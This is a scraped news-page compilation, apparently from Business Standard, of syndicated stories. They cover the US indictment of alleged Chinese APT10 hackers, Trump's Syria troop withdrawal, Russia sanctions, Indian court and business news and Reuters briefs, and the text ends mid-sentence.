conspiracy to commit computer intrusions against dozens of companies in the United States and around the world. "This case is significant because the defendants are accused of targeting and compromising Managed Service Providers, or MSPs. MSPs are firms that other companies trust to store, process, and protect commercial data, including intellectual property and other confidential business information," said Deputy Attorney General Rod J Rosenstein. When hackers gain access to MSPs, they can steal sensitive business information that gives competitors an unfair advantage, he said. According to Rosenstein, the two Chinese nationals allegedly compromised MSP clients in at least a dozen countries. Over the course of the MSP Theft Campaign, Zhu, Zhang and their co-conspirators in the APT10 Group successfully obtained unauthorised access to computers providing services to or belonging to victim companies located in at least 12 countries, including Brazil, Canada, Finland, France, Germany, India, Japan, Sweden, Switzerland, the United Arab Emirates, the UK and the US. The victims included companies in banking and finance, telecommunications and consumer electronics, medical equipment, packaging, manufacturing, consulting, healthcare, biotechnology, automotive, oil and gas exploration, and mining. They allegedly committed these crimes in association with a Chinese intelligence service known as the Ministry of State Security, he said. More than 90 per cent of the Department's cases alleging economic espionage over the past seven years involve China, he said, adding that over two-thirds of the Department's cases involving thefts of trade secrets are connected to China. "It is unacceptable that we continue to uncover cybercrime committed by China against other nations. In 2015, China promised to stop stealing trade secrets and other confidential business information through computer hacking 'with the intent of providing competitive advantages to companies or commercial sectors.' The activity alleged in this indictment violates the commitment that China made to members of the international community," said the Deputy Attorney General. Rosenstein told reporters that China stands accused of engaging in criminal activity that victimizes individuals and companies in the United States, violates US laws, and departs from international norms of responsible state behavior. "Exposing these actions through the criminal justice system is a valuable tool. Faced with the detailed factual allegations released today, and the corroborating statements of other victimized nations, China will find it difficult to feign ignorance," he said. "Healthy competition is good for the global economy, but criminal conduct is not. This is conduct that hurts American businesses, American jobs, and American consumers," said FBI Director Wray. "No country should be able to flout the rule of law so we're going to keep calling out this behaviour for what it is: illegal, unethical, and unfair. It's going to take all of us working together to protect our economic security and our way of life, because the American people deserve no less," he said. Assistant US Attorney Sagar K Ravi of the Southern District of New York's Complex Frauds and Cybercrime Unit is in charge of the prosecution, with assistance provided by Trial Attorney Matthew Chang of the National Security Division's Counterintelligence and Export Control Section. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The United States does not want to be the "Policeman" of the Middle East, US President Donald Trump tweeted Thursday, as he defended his controversial decision to pull US forces out of Syria. "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight....," he tweeted. Trump added: "Russia, Iran, Syria & many others are not happy about the U.S. leaving, despite what the Fake says, because now they will have to fight ISIS and others, who they hate, without us. "I am building by far the most powerful military in the world. ISIS hits us they are doomed!" The US president faced intense opposition to his abrupt announcement Wednesday that Islamic State had been defeated in the region, and that he was ordering the 2,000 US troops in Syria to exit the country. Trump's decision runs counter to long-established US policy for Syria and the region. It blindsided lawmakers, the Pentagon and international allies alike. "Getting out of Syria was no surprise," Trump wrote in an earlier tweet. "I've been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. "Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild. #MAGA" The US withdrawal could have major geopolitical ramifications, and plunges into uncertainty the fate of US-backed Kurdish fighters who have been tackling Islamic State jihadists, thousands of whom are thought to remain in Syria. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) US President Donald Trump's decision to withdraw from is consistent with his policy that the main objective of American troops in the war-torn country was to destroy the ISIS and not to resolve the civil war, the has said. The White House's assertion came after Trump claimed the US has "defeated" the Islamic State group in Before him, a official announced Wednesday that the US has started to withdraw American troops from the country, in a move that has surprised many. The Wall Street Journal described it as an abrupt decision by the Trump administration. Currently, there are about 2,000 US forces in A senior administration official, who spoke on condition of anonymity, told reporters in a conference call that Trump, over the past two years, has clearly declared the US is not going into Syria to resolve the civil war. "What we were going in to do was to destroy the territorial caliphate, which he referred to as 'ISIS in Syria', very specifically," the official said. Speaking a few hours after the decision was announced, the official left the timeline of withdrawal to the Pentagon, which declined to give any comment immediately. "We are under no illusion that that means ISIS writ-large or the scourge of Sunni radical terrorism has in some way gone away. That's something the president addressed very frankly in his Riyadh speech in May of 2017," the official said. In Riyadh, the US president had called on Middle Eastern leaders to combat a "crisis of Islamic extremism". Media reports said then that Trump had toned down his harsh rhetoric. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," Trump tweeted earlier Wednesday. His decision attracted criticism from leaders of his own Republican party, who argued that such a hasty decision would endanger American national in the long run. Republican Senator Marco Rubio said the full and rapid withdrawal of US troops from Syria is a grave error with broader implications beyond just the fight against IS group. "The president's tweet is dangerous, premature and wholly inconsistent with the facts on the ground in Syria and our military's advice. I have travelled to Syria to review our mission, and our military has performed well beyond expectations," said Sen. Jeanne Shaheen. The administration official, however, argued that Trump has been consistent in his views on Syria. "I will say the president's statements on this topic has been 100 per cent consistent from the campaign through his announcement today. And so, I think the notion that anyone within the administration was caught unaware, I would challenge that, quite frankly. And it was the president's decision to make, and he made it," the official said. The official acknowledged that several lawmakers at the Capitol Hill disagree with the decision. "The senators obviously have been working on this issue, as well, for many years. They have their opinions." Responding to questions, the official said this was "purely Trump's decision" and he did not consult with his Turkish counterpart on the issue. "It was not something he discussed with President (Recep Tayyip) Erdogan. He has informed President Erdogan of his decision. As a neighbour of Syria, obviously it's going to be an important issue for Turkey. But this was not a topic of discussion. It was informational," the official said. The official also asserted that the US troops in Syria were to fight and defeat ISIS and not to fight Iran. "The troops that we had in Syria were never there to counter, fight Iran. They were always there to destroy the territorial caliphate of ISIS. The US acceded to Pakistan's demand, supported by China, to "set aside" its concerns over Islamabad's secretive nuclear weapons programme in the immediate aftermath of the Soviet invasion of Afghanistan, according to the latest documents declassified from the era. The documents, which were released by the State Department, reveal that then Pakistani dictator General Zia-ul Haq and Chinese Vice Premier Deng Xiaoping were successful in extracting this price from the US in lieu of Islamabad's support to America against the Soviet invasion of Afghanistan. In addition to the US turning a blind eye to Pakistan's nuclear weapons programme, Deng also convinced the US to start giving more military and financial aid to Pakistan, according to the US Foreign Relations 1977-1980 volume on Afghanistan. The voluminous document indicates that both Zia and Deng successfully convinced the then Carter administration that India under former Prime Minister Indira Gandhi would be pro-Soviet. "There are limits on our ability to aid Pakistan because of their nuclear explosive programme. Although we still object to their doing so, we will now set that aside for the time being, to facilitate strengthening Pakistan against potential Soviet action," the then US Defense Secretary Harold Brown said in a January 8, 1980 meeting with Deng. Deng applauded the US decision as he was successfully able to convince the Carter administration on this issue. "That is a very good approach. Pakistan has its own reasons for developing a nuclear programme. We ourselves oppose the Pakistan effort on nuclear weapons because we believe it meaningless to spend money on such a programme," he said. "Pakistan has its own arguments, ie, India has exploded a nuclear device but the world has not seemed to complain about this. So now you have decided to put this aside and solve the question of military and economic aid to Pakistan. We applaud this decision," Deng said. He also convinced the US to not equate India and Pakistan when it comes to giving aid. "You may recall that I raised the question of aid to Pakistan with President Carter. He said the US will give aid in proportion to the population of the two countries. I said this was not feasible," Deng told Brown referring to his conversation with Carter. "The Pakistanis and Indians are afraid of each other. If the population ratio formula should be used, Pakistan will be in an increasingly inferior position. We hope that since the United States decided to give aid to Pakistan, it will really satisfy Pakistan's requirements. We hope your aid to Pakistan will not be affected too much by India's reaction," Deng said. "With regard to question of South Asia, there is no other way except giving aid to Pakistan. It has always been our view that the US policy giving more attention to India than Pakistan is not an appropriate policy. "Regarding India, we have always felt that the United States should try to cultivate good relations, and this has had a good effect. But India is not a stabilising factor. Perhaps you already know the general election results," Deng said. He was referring to the then just-concluded parliamentary elections in which Indira Gandhi came back to power with a majority. Observing that Gandhi had got 70 per cent of the vote, Deng said it was very difficult to judge that time how India will go. "Even if Indira Gandhi should follow India's previous policy; still India is not the most reliable and stabilising factor in southern Asia," he argued. "Let's not talk about Indira Gandhi. The present government is thinking of recognising the Heng Samrin Regime. Perhaps after Pakistan has been strengthened, India will become a more stabilising factor. What one should try to achieve is to make Pakistan a genuine stabilising factor in South Asia," he said. "We hope the United States will give earnest and sincere thought to this question. If one does not keep this clear in one's mind, then one's attitude toward India will make one vacillate in one's position toward Pakistan. "In the past the United States has refrained from aiding Pakistan. I think in part this is the work of India, probably because of a fear of offending India. Since you now have decided to aid Pakistan, I am sure India will send you one note after another, strongly objecting," Deng said. Around 10 days before Gandhi was sworn in as the new Prime Minister of India on January 14, 1980, Zia had a meeting with the then US Ambassador to Pakistan in which he successfully bargained for the US to keep an eye off its nuclear weapons programme in lieu of its support for America against the Russian invasion in Afghanistan. President Carter's statement of January 4 "gives impression that nuclear issue need not be an obstacle and Pakistan needs to know precisely what America proposes to do to help Pakistan" Haq is quoted as saying in a readout of the meeting. In October, when Zia visited the US, President Carter offered F-16 to Pakistan. Zia asked for six more planes in addition to increase in the military aid. "The freedom fighters need more anti-tank and anti-helicopter weapons (discussion of some defective SA7s). France has good weapons and the Europeans should be more helpful," he said. "On another issue, I just want to say that Mrs Gandhi is no friend of Pakistan or the US," he told Carter. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The US has slapped fresh sanctions on 12 Russian individuals and entities for their alleged interference in 2016 presidential election and the brazen use of a military-grade nerve agent in an assassination attempt inside America's closest ally. They were involved in a wide range of malign activities, including attempts to interfere in the 2016 US elections, cyber-enabled attempts to undermine organisations and the brazen use of a chemical weapon in an assassination attempt abroad, the State Department said. Several of these people were related to 'Project Lakhta', a broad Russian effort which includes the Internet Research Agency that has sought to interfere in political and electoral systems worldwide, the State Department said. As a result of this action, any person determined to knowingly engage in a significant transaction with any of these persons will be subject to the Countering America's Adversaries Through Sanctions Act (CAATSA) Section 231 sanctions, the State Department said. In addition, the Treasury Department designated several members of Russia's Main Intelligence Directorate (GRU) and individuals and entities related to 'Project Lakhta', including the 12 persons added to the List of Specified Persons (LSP). Treasury also designated Victor Boyarkin for having acted or purported to act for or on behalf of Oleg Deripaska. According to the State Department, the sanctions and listings undertaken are one part of an aggressive stand against the irresponsible acts directed by the Government of the Russian Federation. "Russian intelligence services' cyber operations continue to seek to undermine democratic elections and delegitimise organisations," it alleged. Additionally, it is clear that Russian intelligence operatives used a military grade nerve agent to carry out an assassination attempt inside the borders of America's closest ally, a violation of Russia's obligations under the Chemical Weapons Convention, the State Department charged. "We will not tolerate attempts to interfere in our democratic process, and we will side with our allies and partners against Russian subversion and destabilisation. "We will continue to work with our allies and partners to take collective action in response to irresponsible and malicious acts supported by Russia and its intelligence agencies," it added. Former Russian spy Sergei Skripal was poisoned with a military-grade nerve agent in the UK in March, leading to a major diplomatic standoff with Russia. The 66-year-old former Russian double agent and his daughter Yulia, 33, were found unconscious on a shopping centre bench in the Salisbury town on March 4. They were hospitalised in critical condition after he was found poisoned and spent weeks in critical condition. Earlier this month, Special Counsel Rober Muller, who is probing the allegations of Russian interference into the 2016 presidential election and collusion with the Trump campaign, filed two separate court papers, none of which directly answered the question of direct involvement of President Donald Trump in the alleged Russian interference. Trump has repeatedly said that his campaign never colluded with the Russians. So far, more than 30 people have been charged or pleaded guilty in Mueller's investigation which Trump calls a "witch hunt". Germany warned Thursday that US President Donald Trump's decision to pull troops out of Syria could endanger a battle against Islamic State militants and jeopardise achievements on the front. "The IS has been pushed back, but the threat is not over. There is a danger that the consequences of (Trump's) decision could hurt the fight against the IS and endanger what has been achieved," said German Foreign Minister Heiko Maas in a statement. The battle against the Islamist militants would be "decided in the long run -- militarily and with civilian means", said Maas. The foreign minister stressed the need for a political process under the auspices of the United Nations, in order to bring lasting stability back to war-torn Syria. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The West Bengal government is likely to move an appeal on Friday challenging an order of the Calcutta High Court allowing BJP's 'Rath Yatra' programme and setting aside the government's refusal on apprehensions of communal unrest. Sources said the TMC-led state government was likely to move the court of Chief Justice Debasish Kar Gupta on Friday morning against the decision of the single bench of Justice Tapabrata Chakraborty allowing the BJP to take out the Rath Yatra in the state. Earlier during the day, while delivering the judgement, the bench of Justice Tapabrata Chakraborty had asked the saffron party to inform the superintendents of police of the districts which the rallies will enter at least 12 hours ahead of schedule. The party was also directed to ensure that the 'Yatras' are conducted by abiding the law and not impede normal movement of vehicular traffic. Justice Chakraborty said the petitioner BJP will be vicariously responsible for any damage or loss of public property. The court also directed that the police shall deploy adequate force to ensure that there is no breach of law and order. Welcoming the order, BJP state president Dilip Ghosh said a new schedule for holding the three rath yatras from different parts of the state will be prepared. "I can assure there will be no breach of law and order from our part," Ghosh said. The party had planned three Rath yatras from different parts of the state and will travel across the state's 42 parliamentary constituencies. On December 6, a single judge bench of the HC had refused to give permission to the BJP to hold the Rath yatra, which was scheduled to be flagged off by BJP national president Amit Shah from Cooch Behar in North Bengal on December 7. The party had then approached the division bench. The division bench had on December 7 asked the West Bengal chief secretary, the home secretary and the director general of police to hold a meeting with three representatives of the BJP and take a decision on the yatra by December 14. After parleys with the BJP team, the three officers had refused permission for the Rath yatra on December 15 on the grounds that it might lead to communal tension. The state BJP had moved the court again challenging the state government's denial of permission to its programme. Setting aside the denial of permission on Thursday, Justice Chakraborty observed that the officials concerned did not have sufficient material to totally deny permission to the petitioner to organise the rallies without even making an endeavour as to whether the yatras can be allowed by imposing reasonable restrictions. The court observed that discretion exercised by the administrative authorities can certainly be interfered with by the court, specially when such powers have been exercised in a whimsical manner. Advocate General Kishore Dutta had submitted before the court that it has limited scope of judicial review in an administrative decision to not allow the yatra on the basis of intelligence inputs and apprehensions of communal tension. Dutta had on Wednesday submitted a report in a sealed cover to the court apparently detailing the intelligence inputs of likely communal unrest if the yatra was allowed. Justice Chakraborty said as the yatras are not for any unlawful purpose, they ought not to be totally prohibited unless there is imminent threat of breach of peace and even then, the restraint should be just and reasonable. Observing that the petitioner has been mechanically denied permission to organise the yatra, the court said reliance has been placed on intelligence reports by the administration for such denial, but names of the districts have not been disclosed. The court also noted that the BJP had written several letters to different administrative and police officers from October 29 for consultations for the Rath yatra, but none were responded to. According to the original schedule submitted by the BJP, party national president Amit Shah was to kickstart the campaign called 'Save Democracy Rally' from Cooch Behar district on December 7, from Kakdwip in South 24 Parganas on December 9 and from Tarapith temple in Birbhum on December 14. Justice Chakraborty, who presided over the earlier single bench that injuncted the yatras on December 6, said the sole ground of the earlier judgement was that the rally was to start from 10 am the next morning. Praying for setting aside of the denial of permission by the three officers, BJP counsel S K Kapur submitted on Thursday that the decision communicated was at the behest of the state government. Kapur submitted that it did not reflect any independent application of mind by the court-appointed members and as such not sustainable and prayed that the yatra be allowed by the court. Holding rallies is part of political activities of a political party and a decision to restrict or prohibit must be based on cogent reasons, he said, adding the state government wants to stop the yatra on mere surmise. Appearing for the state, Advocate General Kishore Dutta submitted that rights under Article 19 of the Constitution are not absolute and are subject to public order, meaning that the sovereign can restrict or prohibit a rally. He said the apprehension was that the yatra will turn into communal propaganda. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A woman was allegedly slapped by a on-duty Kolkata Traffic Police officer following an altercation over getting into an app-based cab in the citys Park Street area, police said Thursday. The woman lodged a case against the additional sub-inspector of Kolkata Traffic Police South Traffic Guard, Hiralal Mondol accusing him of slapping her on Wednesday night at Park Street, the police said. Mondal had reportedly asked the app-based cab to leave the spot because it was blocking the way for other vehicles, a Kolkata Police officer said. "It was then that an altercation broke out between the woman and the traffic police officer. She had allegedly pulled him by his uniform and pushed him and the officer purpotedly slapped the woman," the officer added. Kolkata Police sources said that Additional Commissioner of Police(III) Supratim Sarkar had telephoned the woman and promised proper action the accused police personnel after an investigation. The local police station has recorded the womans complaint, he said adding that the CCTV footages of the area have been sought. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Zimbabwean government says there is "no need" to extradite Grace Mugabe, the wife of the country's former leader, to neighbouring South Africa after police there issued a warrant for her arrest. Energy Mutodi, Zimbabwe's deputy minister of information, said Thursday that the government objects to the move by South African law enforcement against Mugabe, who is accused of assaulting a woman in Johannesburg last year. Mutodi says former president Robert Mugabe was the country's founder and that "harassment of his immediate family members is not in the best interests of Zimbabwe." Earlier this year, a South African court ruled that South Africa's government acted illegally when it granted diplomatic immunity to Grace Mugabe after the alleged attack at an upscale hotel. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Tim HepherPARIS (Reuters) - Shares in Europe's Airbus fell on Thursday after Le Monde newspaper reported the United States had opened an investigation into allegations of corruption, raising the stakes of probes already under way in Britain and France.The French newspaper said Airbus could face record fines of several billion euros as a result of the overall case, which dates back to 2016.Airbus shares were down by around 6 percent in mid-session trading, having at one stage fallen by as much as 9 percent.The U.S. Department of Justice was not immediately available for comment.Airbus said ... By Jorn Poltz and Stephen NellisMUNICH/SAN FRANCISCO (Reuters) - Chip supplier Qualcomm Inc won a second court skirmish in its worldwide patent battle with Apple Inc on Thursday, with the iPhone maker saying it would pull some older models from its German stores.Qualcomm's win in Germany comes weeks after it secured a court order to ban sales https://reut.rs/2RaGzHt of some iPhone models in China. Apple, which is contesting both rulings, has continued to offer its iPhones in China but made changes to its iOS operating system in the wake of the Chinese order.The German victory may affect ... By Jorn Poltz and Stephen NellisMUNICH/SAN FRANCISCO (Reuters) - Apple Inc said it would pull some iPhone models from its German stores after a court there ruled on Thursday that Apple infringed a hardware patent of Qualcomm Inc and banned sales of iPhones in Germany with chips from Apple supplier Qorvo Inc. Qualcomm needs to post a bond of 668.4 million euros, or $765 million, before it can begin proceedings to enforce the order, a move that could take several days due to holiday-related court closures next week. Apple said it was appealing the decision, but the order goes into effect as ... By Brenda GohNANTONG, China (Reuters) - Cai Zhonghui has worked in China's construction industry all his adult life, graduating from a labourer to owning a company with 100 workers building factories and roads around eastern China.Cai says the industry is now facing the toughest challenges he has seen, squeezed by high materials costs, tougher regulations and tighter access to credit, making him cautious about taking on new projects.That caution reflects a broader threat to Beijing as it looks to stimulate a slowing economy with increased infrastructure approvals: private builders - the ... By Aditya KalraNEW DELHI (Reuters) - A small Indian non-profit group funded by Bloomberg Philanthropies can carry out tobacco-control work in New Delhi after authorities lifted a ban on its activities, according to a city official and government memo seen by Reuters.Authorities in New Delhi banned the Socio Economic and Educational Development Society (SEEDS) last month, saying it had not disclosed its funding. They also said foreign-funded groups would need approval to conduct anti-tobacco activities in the city.The decision irked anti-tobacco activists and came amid similar moves by Prime ... By Philip BlenkinsopBRUSSELS (Reuters) - The European Union expanded its challenge against China at the World Trade Organization on Thursday over laws it says force the transfer of technology in areas including electric vehicles and crop seeds.The European Commission, which oversees trade policy in the 28-member European Union, said it was significantly broadening and deepening the scope of its WTO action against China.The European Union, the United States and Japan have held a series of talks this year to coordinate a fight against unfair competition from subsidies, state-led enterprises and ... By Christopher Bing, Jack Stubbs and Joseph MennWASHINGTON/LONDON/SAN FRANCISCO (Reuters) - Hackers working on behalf of China's Ministry of State Security breached the networks of Hewlett Packard Enterprise Co and IBM , then used the access to hack into their clients' computers, according to five sources familiar with the attacks.The attacks were part of a Chinese campaign known as Cloudhopper, which the United States and Britain on Thursday said infected technology service providers in order to steal secrets from their clients.While cybersecurity firms and government agencies have issued ... MUNICH (Reuters) - A German court ruled on Thursday that iPhone maker Apple Inc infringed a hardware patent of Qualcomm Inc and said the U.S. company could no longer sell some iPhone models in Germany which contain a particular component. The ruling is not final as Apple can appeal to a higher court, judge Matthias Zigann told the court.The German case is Qualcomm's third major effort to secure a ban on Apple's lucrative iPhones over patent infringement allegations after similar court efforts in the United States and in China, one of which resulted in Chinese court ordering a ban on sales of ... By K. Sathya NarayananBENGALURU (Reuters) - Rice export prices in India rose to their highest in more than three months as a key producing region hiked procurement rates for domestic paddy, while concerns over stricter Chinese rules weighed on the Vietnamese market.Top exporter India's 5 percent broken parboiled variety was quoted at $375-$382 per tonne this week, the highest since Sept. 7.The central state of Chhattisgarh, a leading rice producer, raised the minimum paddy buying price to 2,500 rupees per 100 kg, from 1,750 rupees earlier this week."Importers are not ready to pay a higher ... By Julia FiorettiHONG KONG (Reuters) - A long-awaited link between the stock exchanges of Shanghai and London got close to the launch pad last week, but there was no blast-off.After over three years of talks, everything appeared set for a Dec. 14 launch, with a ceremony in the British capital and a listing by a major Chinese brokerage.But then it was put on hold, and people familiar with the matter said the postponement of the Shanghai-London Stock Connect would last at least one month.The London Stock Exchange and Shanghai Stock Exchanges had no immediate comment when asked when the Connect ... TOKYO (Reuters) - Nissan Motor Co on Thursday said CEO Hiroto Saikawa had held a one-on-one meeting with the acting boss of its automaking partner Renault SA during talks between the alliance in Amsterdam this week.Nissan said in a statement that Saikawa characterised the talks with Renault Deputy CEO Thierry Bollore as "positive" and "productive".The Japanese automaker remained ready to directly share the results of its in-house investigation into alleged financial misconduct by ousted chairman Carlos Ghosn with its French partner, it added.The two bosses met as the automakers grapple over ... By Diane Bartz and Jack StubbsWASHINGTON/LONDON (Reuters) - The United States and three allies chastised China for economic espionage on Thursday, ratcheting up tensions as U.S. prosecutors indicted two Chinese nationals linked to a spy agency on charges of stealing confidential data from American government agencies and businesses around the world.Prosecutors charged Zhu Hua and Zhang Jianguo in hacking attacks against the U.S. Navy, the space agency NASA and the Energy Department and dozens of companies. The operation targeted intellectual property and corporate secrets to give Chinese ... Kennedy faced just such a moment during the Cuban Missile Crisis of 1962 and, after envisioning the catastrophic outcome of a U. S.-Soviet nuclear exchange, he came to the conclusion that the atomic powers should impose tough barriers on the precipitous use of such weaponry. Among the measures he and other global leaders adopted were guidelines requiring that senior officials, not just military personnel, have a role in any nuclear-launch ... Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor A group of 22 childrens and consumer organizations is calling for a federal investigation into Googles marketing of childrens apps in its Google Play store, just the latest in a series of rebukes by experts about how the company handles technology aimed at youngsters. Google has promoted the Family section of its Play store as a place where parents can find age-appropriate apps for children. But in a complaint to the Federal Trade Commission filed on Wednesday, the advocacy groups said the companys endorsement of the apps was misleading. The groups ... India's second largest IT company Infosys' search for a CFO has finally come to an end. The company announced the appointment of Bharti Airtel's current global CFO Nilanjan Roy as the next Chief Financial Office, effective 1st of March 2019. A veteran at Bharti Airtel, Nilanjan currently handles finance function across India and Africa and prior to that spent close to 15 years with Unilever in their global operations across India, Europe, and the US. Speaking on the appointment, CEO and MD, Salil Parekh said, "We are delighted to announce that Nilanjan will join Infosys as our CFO. He comes to us with extensive and rich global experience." Jayesh Sanghrajka, the current interim CFO, will revert to his earlier role as the deputy CFO, effective after Nilanjan assumes his office. Also read: Jobs are back in IT! TCS, Infosys, Wipro, HCL recruitments gather speed in first half of FY19 The nominations and remunerations committee tasked with finding a new CFO was headed by Kiran Mazumdar-Shaw with D N Prahlad and D Sundaram being the other members. Earlier in August this year, M D Ranganath abruptly stepped down as the CFO and Infosys had appointed Jayesh Sanghrajka as the interim Chief Financial Officer effective 17th November, with the tenure MD Ranganath coming to an end on the 16th. Ranganath or Ranga as popularly known was considered close to the promoters and his exit marked the departure of two CFOs from the company in under 4 years. Religare Enterprises Ltd (REL) Wednesday said its subsidiary Religare Finvest (RFL) has lodged a criminal complaint with the Economic Offences Wing of the Delhi Police against promoters Malvinder Mohan Singh and Shivinder Mohan Singh . The complaint also names REL ex-CMD Sunil Godhwani, among other directors, for cheating, fraud and misappropriation of funds to the tune of Rs 740 crore. "Religare Finvest, a subsidiary of Religare Enterprises has filed a criminal complaint with the Economic Offences Wing of the Delhi Police against the promoters of REL Malvinder Mohan Singh and Shivinder Mohan Singh as well as REL's former CMD, Sunil Godhwani, N K Ghoshal, the directors and officers of the promoter entities and other unknown persons for various offences under the Indian Penal Code," REL said in a regulatory filing. The complaint has been registered for various offences including cheating, criminal breach of trust, misappropriation, fraud and forgery and criminal conspiracy, REL said. ALSO READ: Supreme Court order does not impact 31.1% stake sale to IHH Healthcare: Fortis Healthcare "The complaint was filed basis internal inquiries (including an independent forensic review) undertaken by the new RFL board and management," it said. REL was controlled by the warring Singh brothers until February 2018. Post their exit from the board of REL in February 2018, the boards of REL and RFL have been re-constituted. Pursuant to reconstitution, the REL and RFL boards now consist of professionals widely recognised in their respective fields, who are unconnected to the promoters, it said further. "The reconstituted boards have appointed a new professional management to manage the affairs of REL and its subsidiaries. Through the inquiries undertaken by the new RFL Board and management it has discovered siphoning and misappropriation of funds of RFL amounting to approx Rs 740 crores in aggregate through loans to entities that are controlled by, connected to or known to the promoters or their associates," REL said. ALSO READ: Singh brothers fight in the open; Malvinder says younger brother Shivinder physically assaulted him Earlier this month, the feud between the brothers took an ugly turn when they allegedly came to blows, following which the younger brother Shivinder said the incident had closed any possibility of them working together to resolve the issues. The relationship between the Singh brothers, erstwhile promoters of Fortis Healthcare and Ranbaxy, went sour after allegations of fund diversion from the healthcare chain emerged. It reportedly aggravated further over payment of arbitration award to Daiichi Sankyo. Shivinder had offered to pay his share of the Rs 3,500 crore award to the Japanese drug maker in a dispute related to the acquisition of Ranbaxy Laboratories. Earlier in September this year, Shivinder had filed a petition before the National Company Law Tribunal (NCLT), alleging that collective and ongoing actions of Malvinder and ex-Religare chief Sunil Godhwani led to a systemic undermining of the interests of companies and their shareholders. ALSO WATCH: After a year of slowdown and uncertainties, the Indian solar industry is expecting big growth in the coming year. "India is expected to add approximately 10 GW of solar capacity in 2019, and we expect to see continued strong growth in private power purchase agreements, in both rooftop and large-scale projects," says Andrew Hines, Co-Founder, CleanMax Solar. In 2018, India surpassed 26,000 MW (approximately) of cumulative solar capacity and has emerged as one of the world's largest markets for solar PV, providing ample growth opportunity as well. While the government tendering activity was somewhat lumpy, private demand for renewable energy continued to be very consistent, driven both by favourable economics and also by sustainability aspirations, particularly from the corporate segment, says Andrew Hines. According to a Mercom's India Solar report, so far over 26 GW of solar PV capacity has been installed in India, and there is a huge deficit of over 73 GW of solar capacity, to be installed in the next four years to reach the target of 100 GW by 2022. "2018 was a landmark year, with the solar sector undergoing significant changes, thus paving the way for a transition to renewable energy. It was especially a defining year for domestic manufacturers, who received continued support from the government through the imposition of the Safeguard Duty. This created a level playing field for manufacturers to showcase their capabilities and bring in disruptive R&D," says Sunil Rathi, Director, Waaree Energies. He says that one trend in 2018 was an increase in exports, which will further the growth of solar manufacturing in India and help to establish it as a hub for solar energy with the latest technologies and innovation. Also read: Eight-fold jump in solar energy capacity to 22 GW in four years: Government He says at present technological innovation is at the centre of solar power development in India. "With disruptive techniques that put us at par with our international counterparts, we believe floating solar, energy storage and flexible modules will prove to be important tools in taking solar energy to the next level. With utility scale energy storage solutions being considered as the next big step and with the rising economies of scale, we can see India heading towards a future of energy security through renewable energy," he says. Issues related to tender issuance and auctions, land acquisitions and transmission, lack of co-ordination between various agencies, GST and safeguard duty had caused solar installations to slow down in the July-September period of 2018, according to a Bridge To India report. Capacity addition in the first half of the financial year 2018-19 was only 1.9 gigawatts, 44 per cent less than the previous year. The mergers and acquisition (M&A) in India hit an all-time high in 2018 with deals worth $125.2 billion taking place this year, breaking the previous record of $67.4 billion in 2007, according to Thomson Reuters Deals Intelligence. It's a positive indicator that underlines the future potential of the economy. In a healthy economy, when there is a spur in credit availability, coupled with positive changes in government policies, the number of deals spirals up as companies find it as an opportunity to consolidate their leadership positions. Another indication is a burst of innovations by startups. But the major deals materialised in India this year do not indicate any such changes on ground, except Walmart's $16 billion acquisition of Flipkart. The bankrupt companies, which are facing insolvency, were the major booster for the M&A record this year. Four major bankrupt companies have been handed over to the new promoters -- Electrosteel Steels to Vedanta, Bhushan Steel to Tata Steel, Monnet Ispat to JSW Steel, and Amtek Auto to Liberty House -- after trying it under the Insolvency and Bankruptcy Code (IBC). Over 50 companies, including the smaller ones, have been sold so far. But these distress sales do not indicate the robustness of the present economy. The bigger companies find it as an opportunity to grab the cheaper assets for expansion. If the troubled steel space has largely paved the foundation for the distress deals in the steel industry, the price and technology wars in telecom have triggered the distress sales and consolidations in the telecom space. The leading operators Vodafone and Idea merged their networks to fight the might of Mukesh Ambani's Reliance Jio. The leader of the pack, Bharti Airtel acquired sinking telecom operators Tata Teleservices and Telenor India in 2018. In April this year, the merger of Indus Towers (owned by Idea Cellular and Vodafone) with Bharti Infratel (owned by Bharti Airtel) was announced to create the largest mobile tower operator in the world outside China. Another set of acquisitions were triggered to meet the disinvestment target of the government. ONGC bought government's entire 51.11 per cent stake in HPCL for Rs 36,915 crore earlier this year. In 2017, the oil producer was allegedly under pressure to bail out the debt-laden Gujarat State Petroleum Corporation (GSPC) as it bought the latter's gas block for Rs 7,800 crore. The government also plans to sell 149 oil and gas fields of ONGC and OIL India to private companies. Also read: GSK Consumer Healthcare to merge with Hindustan Unilever: Here are 10 things you should know The basis for the deals in retail sector was largely encouraged by a bullish discount-driven e-commerce market. The American retailer Walmart, which failed to make a footprint in India's brick and mortar space, spent $16 billion to buy 77 per cent stake in Flipkart in May. Walmart badly needed the deal to join the Indian retail bandwagon. Positive GDP numbers usually help in activating M&A deals. But India's economic growth moderated to 7.1 per cent in the July-September quarter, dragged down by slower consumer spending and farm growth. Farm output grew 3.8 per cent year-on-year compared with 5.3 per cent the previous quarter. The construction sector, one of the biggest employers after agriculture, grew 7.8 per cent, slower than 8.7 per cent in the previous quarter. Also read: Competition Commission gives nod to LIC's 51% stake buy in IDBI Bank Swedish ready-to-assemble furniture giant, IKEA, has signed a MoU (memorandum of understanding) with the Uttar Pradesh government. The deal worth Rs 5,000 crore states that IKEA will set up an outlet in 